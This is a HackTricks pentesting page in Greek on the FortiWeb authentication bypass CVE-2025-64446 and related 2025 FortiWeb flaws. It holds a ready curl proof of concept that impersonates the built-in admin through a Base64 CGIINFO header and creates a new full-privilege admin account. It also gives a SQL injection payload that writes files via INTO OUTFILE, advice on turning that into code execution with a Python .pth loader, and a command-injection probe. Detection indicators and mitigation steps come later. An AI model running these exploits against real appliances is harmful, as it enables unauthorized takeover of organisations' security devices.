Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Το Fortinet FortiWeb εκθέτει έναν κεντρικό CGI dispatcher στο /cgi-bin/fwbcgi. Μια αλυσίδα δύο σφαλμάτων επιτρέπει σε έναν απομακρυσμένο μη αυθεντικοποιημένο επιτιθέμενο να:
- Πρόσβαση στο
fwbcgiξεκινώντας το URL με ένα έγκυρο API prefix και traversing directories. - Impersonate οποιονδήποτε χρήστη (συμπεριλαμβανομένου του ενσωματωμένου
admin) παρέχοντας ένα ειδικό HTTP header που το CGI εμπιστεύεται ως ταυτότητα.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Η εκμετάλλευση έχει παρατηρηθεί in the wild για τη δημιουργία επίμονων admin χρηστών.
Επηρεαζόμενες εκδόσεις (όπως τεκμηριώθηκε δημόσια):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
Το FortiWeb 8.0.2 επιστρέφει HTTP 403 για το traversal probe παρακάτω.
Γρήγορη δοκιμή ευπάθειας
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Ερμηνεία: HTTP 200 → πιθανώς ευάλωτο; HTTP 403 → διορθωμένο.
Root cause chain
- API-prefix path traversal σε εσωτερικό CGI
- Οποιοδήποτε request path που ξεκινά με έγκυρο FortiWeb API prefix (π.χ.,
/api/v2.0/cmdb/ή/api/v2.0/cmd/) μπορεί να διασχίσει με../προς το/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Μόλις επιτευχθεί το
fwbcgi, μια πρώτη πύλη εκτελεί έναν επιεική έλεγχο JSON βασισμένο σε ένα per-path αρχείο υπό το/var/log/inputcheck/. Αν το αρχείο λείπει, ο έλεγχος περνάει αμέσως. Αν υπάρχει, το body χρειάζεται μόνο να είναι έγκυρο JSON. Χρησιμοποιήστε{}ως ελάχιστο συμβατό body.
- Header-driven user impersonation
- Το πρόγραμμα διαβάζει τη CGI μεταβλητή περιβάλλοντος
HTTP_CGIINFO(παραγόμενη από το HTTP headerCGIINFO), την Base64-decodes, αναλύει JSON και αντιγράφει attributes απευθείας στο login context, ορίζοντας το domain/VDOM. Σημαντικά κλειδιά: username,loginname,vdom,profname- Παράδειγμα JSON για απομίμηση του built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 του παραπάνω (όπως χρησιμοποιείται in-the-wild):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end abuse pattern (unauthenticated → admin)
- Προσπελάστε
/cgi-bin/fwbcgiμέσω API-prefix traversal. - Παρέχετε οποιοδήποτε έγκυρο JSON body (π.χ.,
{}) για να ικανοποιήσετε τον έλεγχο εισόδου. - Στείλτε header
CGIINFO: <base64(json)>όπου το JSON ορίζει την ταυτότητα-στόχο. - POST το backend JSON που αναμένει το
fwbcgiγια να εκτελέσει ενέργειες με προνόμια (π.χ., δημιουργία χρήστη admin για persistence).
Ελάχιστο cURL PoC
- Δοκιμή έκθεσης σε traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Μιμηθείτε τον admin και δημιουργήστε έναν νέο local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Σημειώσεις:
- Όποιοδήποτε έγκυρο JSON σώμα αρκεί (π.χ.,
{}) εάν το/var/log/inputcheck/<path>.jsonδεν υπάρχει. - Το action schema είναι εσωτερικό του FortiWeb; το παράδειγμα παραπάνω προσθέτει έναν τοπικό διαχειριστή με πλήρη προνόμια.
Άλλες ευπάθειες FortiWeb 2025 που αξίζει να ελεγχθούν γρήγορα
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Επηρεάζει 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Διορθώθηκε στην 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Σφάλμα:
get_fabric_user_by_token()χρησιμοποιεί την τιμήAuthorization: Bearer <token>απευθείας σε ένα SQL query. Ο επιτιθέμενος προμηθεύει SQL που εκτελείται ως χρήστης MySQL και μπορεί να αποθέσει αρχεία μέσωSELECT ... INTO OUTFILE, οδηγώντας σε εκτέλεση κώδικα (webshell/.pthloader). - Τυπική επιφάνεια επίθεσης:
/api/fabric/device/status(και άλλα Fabric Connector endpoints) μέσω HTTP/HTTPS στο επίπεδο διαχείρισης. - Γρήγορος έλεγχος για SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Οπλοποίηση: γράψτε ένα
.pthστα Python site-packages του FortiWeb που εισάγειos;os.system(...)κατά την εκκίνηση του interpreter, ή αφήστε ένα CGI κάτω από το webroot. Η επανεκκίνηση/επαναφόρτωση υπηρεσιών θα εκτελέσει το payload. - Ενδείξεις ανίχνευσης: Authorization headers που περιέχουν quotes/UNION/SELECT· απροσδόκητα αρχεία κάτω από
/data/lib/python*/site-packages/ή/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO παράκαμψη υπογραφής (CVE-2025-59719)
- Εσφαλμένος έλεγχος υπογραφής SAML επιτρέπει σε έναν επιτιθέμενο να πλαστογραφήσει FortiCloud SSO responses και να συνδεθεί ως admin χωρίς διαπιστευτήρια.
- Εκμεταλλεύσιμο μόνο όταν είναι ενεργοποιημένο το FortiCloud SSO login (ενεργοποιείται αυτόματα αν το appliance είχε καταχωρηθεί μέσω GUI εκτός αν το checkbox απενεργοποιήθηκε).
- Επηρεαζόμενα (σύμφωνα με PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Διορθώθηκε σε 8.0.1 / 7.6.5 / 7.4.10.
Ένεση εντολών OS στο management plane (CVE-2025-58034)
- Επηρεαζόμενα: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Διορθώθηκε σε 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Πρακτική ανίχνευση (μη καταστροφική): στείλτε μια παράμετρο που περιέχει
;id;σε management HTTP endpoints και παρατηρήστε 500 responses με έξοδο εντολής· μπλοκάρετε ή εφαρμόστε patch αμέσως αν εμφανιστεί οποιαδήποτε έξοδος.
Ανίχνευση
- Αιτήσεις που φτάνουν σε
/cgi-bin/fwbcgiμέσω API-prefix paths που περιέχουν../(π.χ.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Παρουσία header
CGIINFOμε Base64 JSON που περιέχει κλειδιάusername/loginname/vdom/profname. - Fabric Connector SQLi: Authorization headers που περιέχουν SQL metacharacters, ξαφνικά αρχεία σε Python site-packages/CGI dirs, αιτήματα προς
/api/fabric/device/statusαπό διευθύνσεις internet. - FortiCloud SSO: απροσδόκητοι SAML issuers ή audience τιμές στο
/var/log/ssod. - Backend artifacts:
- Αρχεία ανά διαδρομή κάτω από
/var/log/inputcheck/(gate configuration). - Απροσδόκητες δημιουργίες admin και αλλαγές ρυθμίσεων.
- Γρήγορος έλεγχος: το traversal probe που επιστρέφει 200 (εκτεθειμένο) έναντι 403 (μπλοκαρισμένο σε fixed builds).
Αντιμετώπιση
- Αναβαθμίστε σε fixed releases (παραδείγματα: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) σύμφωνα με την advisory του vendor.
- Εφαρμόστε τα patches και για τα υπόλοιπα σφάλματα του 2025: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Μέχρι την επιδιόρθωση:
- Μην εκθέτετε το FortiWeb management plane σε μη αξιόπιστα δίκτυα.
- Προσθέστε κανόνες reverse-proxy/WAF για να μπλοκάρετε:
- Διαδρομές που ξεκινούν με
/api/και περιέχουν../cgi-bin/fwbcgi. - Αιτήσεις που φέρουν header
CGIINFO. - Fabric Connector κλήσεις με SQL metacharacters στο
Authorization. - SAML endpoints από το internet αν το FortiCloud SSO δεν χρησιμοποιείται.
- Παρακολουθείτε και ειδοποιείτε για τους δείκτες ανίχνευσης παραπάνω.
Αναφορές
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


